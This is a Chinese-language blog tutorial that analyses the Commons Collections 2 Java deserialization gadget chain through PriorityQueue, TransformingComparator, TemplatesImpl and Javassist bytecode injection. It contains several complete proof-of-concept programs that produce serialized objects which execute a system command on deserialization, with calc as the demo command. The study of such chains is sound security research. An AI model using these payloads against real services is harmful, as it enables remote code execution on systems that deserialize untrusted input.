CC2


环境搭建

jdk8U202

<dependency>
  <groupId>javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.1</version>
</dependency>

PriorityQueue 简介

Queue 是一个 FIFO(先进先出),但是现在有很多业务都是带 VIP 服务的,尊贵的 VIP 怎么可以等待?摇号结束下一位就要是它,那么 Queue 就不够用了,PriorityQueue 此时闪亮登场,相当于代理了 Queue,有一个增强服务,如果有 VIP 来了那么先让 VIP 去办理业务。

常用方法

摘自:https://www.anquanke.com/post/id/219840#h2-1

  • PriorityQueue() 使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
  • PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
  • PriorityQueue(int initialCapacity, Comparator<? super E> comparator) 指定的初始容量创建一个 PriorityQueue,并根据指定比较器对元素进行排序.
  • add(E e) 将指定的元素插入此优先级队列
  • clear() 从此优先级队列中移除所有元素。
  • comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
  • contains(Object o) 如果此队列包含指定的元素,则返回 true。
  • iterator() 返回在此队列中的元素上进行迭代的迭代器。
  • offer(E e) 将指定的元素插入此优先级队列
  • peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
  • poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
  • remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
  • size() 返回此 collection 中的元素数。
  • toArray() 返回一个包含此队列所有元素的数组。

举个栗子

package com.yq1ng.cc2;

import java.util.PriorityQueue;
import java.util.Queue;

/**
 * priorityQueue
 *
 * @author yq1ng
 * @date 2021/11/16 22:21
 * @since 1.0.0
 */
public class priorityQueue {
    public static void main(String[] args) {
        Queue queue = new PriorityQueue();
        queue.add("flag");
        queue.add("admin");
        queue.add("yq1ng");
        System.out.println(queue.poll());
        System.out.println(queue.poll());
        System.out.println(queue.poll());
    }
}

image.png
可以看到并不是先进先出,他会自动排序,但是 PriorityQueue 允许我们提供一个 Comparator 对象来判断两个元素的顺序,这里使用廖雪峰的示例

public class priorityQueue {
    public static void main(String[] args) {
        Queue<User> q = new PriorityQueue<>(new UserComparator());
        // 添加3个元素到队列:
        q.offer(new User("Bob", "A1"));
        q.offer(new User("Alice", "A2"));
        q.offer(new User("Boss", "V1"));
        System.out.println(q.poll()); // Boss/V1
        System.out.println(q.poll()); // Bob/A1
        System.out.println(q.poll()); // Alice/A2
        System.out.println(q.poll()); // null,因为队列为空
    }
}
class UserComparator implements Comparator<User> {
    public int compare(User u1, User u2) {
        if (u1.number.charAt(0) == u2.number.charAt(0)) {
            // 如果两人的号都是A开头或者都是V开头,比较号的大小:
            return u1.number.compareTo(u2.number);
        }
        if (u1.number.charAt(0) == 'V') {
            // u1的号码是V开头,优先级高:
            return -1;
        } else {
            return 1;
        }
    }
}

class User {
    public final String name;
    public final String number;

    public User(String name, String number) {
        this.name = name;
        this.number = number;
    }

    public String toString() {
        return name + "/" + number;
    }
}
/*
output:
Boss/V1
Bob/A1
Alice/A2
null
*/

PriorityQueue 链分析

先看 java/util/PriorityQueue.java#readObject(),发现会对传入的 ObjectInputStream 进行反序列化,并赋值给 queue[i]
image.png
这里的 queue[i] 是 readObject() 得到的,也就是说会在 writeObject()写入内容
image.png
可以通过反射,控制 queue[i] 写入恶意内容,在反序列化的时候触发。继续跟 readObject() 的最后一句 heapify()
image.png
这里想要进入循环需要 size > 1 ,看一下 size 的定义
image.png
原来是 queue 的个数,那么在反射后加上两个值就行
继续跟进 siftDown()
image.png
继续跟 siftDownUsingComparator()
image.png
注意 699 行,x 是我们上面设置的恶意内容。跟踪 Comparator 可知其是一个接口,找一下实现类
image.png
看到了老朋友,用 cc1 就可以触发了
image.png

编写 POC

package com.yq1ng.cc2;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

/**
 * @author ying
 * @Description
 * @create 2021-11-17 4:13 PM
 */

public class test {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}));
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1, comparator);

        queue.add(1);
        queue.add(2);

        try {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2test.txt"));
            oos.writeObject(queue);
            oos.close();
            System.out.println(bos.toString());

            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2test.txt"));
            ois.close();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行后弹了两个计算器,但是并未生成cc2test文件,抛出的异常在queue.add(2);,debug 启动
image.png
image.png
image.png
一路跟下来,注意下图
image.png
这里需要这个函数的返回值 <0才不会 break,继续跟进去
image.png
这里执行了两次恶意链,所以弹了两个计算器。既然直接传入恶意 comparator 会在生成 poc 的时候直接执行,那么就先不传 comparator 的,也就是comparator==null,那么siftUp()就会进入第二个函数,siftUpComparable()
image.png
这个函数不会触发恶意链,在增加完两个值后,使用反射对 comparator进行赋值,酱紫就会在序列化的时候不会触发恶意 comparator,而在反序列化的时候触发恶意 comparator,poc 如下

package com.yq1ng.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @author ying
 * @Description
 * @create 2021-11-13 10:22 PM
 */

public class cc2 {
    public static void main(String[] args) throws Exception {
        //  创建处理链
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                                "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                                null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}));

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue();

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

Javassist

详细教程:https://www.cnblogs.com/rickiyang/p/11336268.htm
官方网站:http://www.javassist.org/

TemplatesImpl

先看TemplatesImpl#newTransformer()
image.png
其中调用了getTransletInstance()
image.png
这里 _name不能为 null,_class需要为 null,通过反射去设置值;再看 defineTransletClasses()
image.png
image.png
_bytecodes_tfactory不能为 null,一样反射设置
然后注意 415 行
image.png
这里将 bytes 还原为 class,然后_class[_transletIndex].getConstructor().newInstance()又进行了实例化,那么使用 Javassist 写一个 static 块进去,实例化的话就会触发恶意代码
但是看 419 行, _bytecodes需要继承 AbstractTranslet,这个需要注意

package com.yq1ng.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.Field;

/**
 * @author ying
 * @Description
 * @create 2021-11-19 14:10
 */

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
		//	返回默认的ClassPool
        ClassPool pool = ClassPool.getDefault();
        //	将一个ClassPath加到类搜索路径起始位置
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //	根据类名创建新的CtClass对象
        CtClass ctClass = pool.makeClass("Test");
		//	CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
        //	设置继承类名
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
		//	设置插入代码,多个语句需要{}包括
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        //	创建空的构造函数(静态)
        CtConstructor ctConstructor = ctClass.makeClassInitializer();
        //	在方法的起始位置插入代码
        ctConstructor.insertBefore(cmd);
        //	根据CtClass生成 .class 文件
        ctClass.writeFile("./src/main/java/com/yq1ng/cc2/");
		//	将文件转为字节码
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        setFieled(templates,clazz,"_name","tttt");
        setFieled(templates,clazz,"_class",null);
        setFieled(templates,clazz,"_bytecodes",new byte[][]{bytes});
        setFieled(templates,clazz,"_tfactory",new TransformerFactoryImpl());

        templates.newTransformer();
    }

    public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{
        Field _field = clas.getDeclaredField(fieled);
        _field.setAccessible(true);
        _field.set(templates,obj);
    }
}

image.png

poc2

上面的 PriorityQueue 只能执行命令,这里使用 Javasstis 触发TemplatesImpl#newTransformer()就可以执行恶意代码,使用InvokerTransformer调用TemplatesImpl#newTransformer()

package com.yq1ng.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @author ying
 * @Description
 * @create 2021-11-19 9:51
 */

public class realCC2 {
    public static void main(String[] args) throws Exception{
		//	使用InvokerTransformer触发TemplatesImpl#newTransformer()
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        //	虽然上面设置了类名为Cat,但是下面将类名更改为EvilCat+时间戳
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);

        //	没必要写文件的哈哈哈
        //cc.writeFile();

        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "yq1ng");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        //	这里没有使用queue.add(),所以使用反射直接设置size的值为2
        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

image.png
细心的同学会发现,这里并未反射设置 _tfactory,debug 看看
image.png
在调用newTransformer()的时候他已经有值了,至于为什么,暂时不去深入了

参考

Java 反序列化-CommonsCollections2 分析
通俗易懂的 Java Commons Collection 2 分析
Java 安全之反序列化篇-URLDNS&Commons Collections 1-7 反序列化链分析
javassist 使用全解析


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录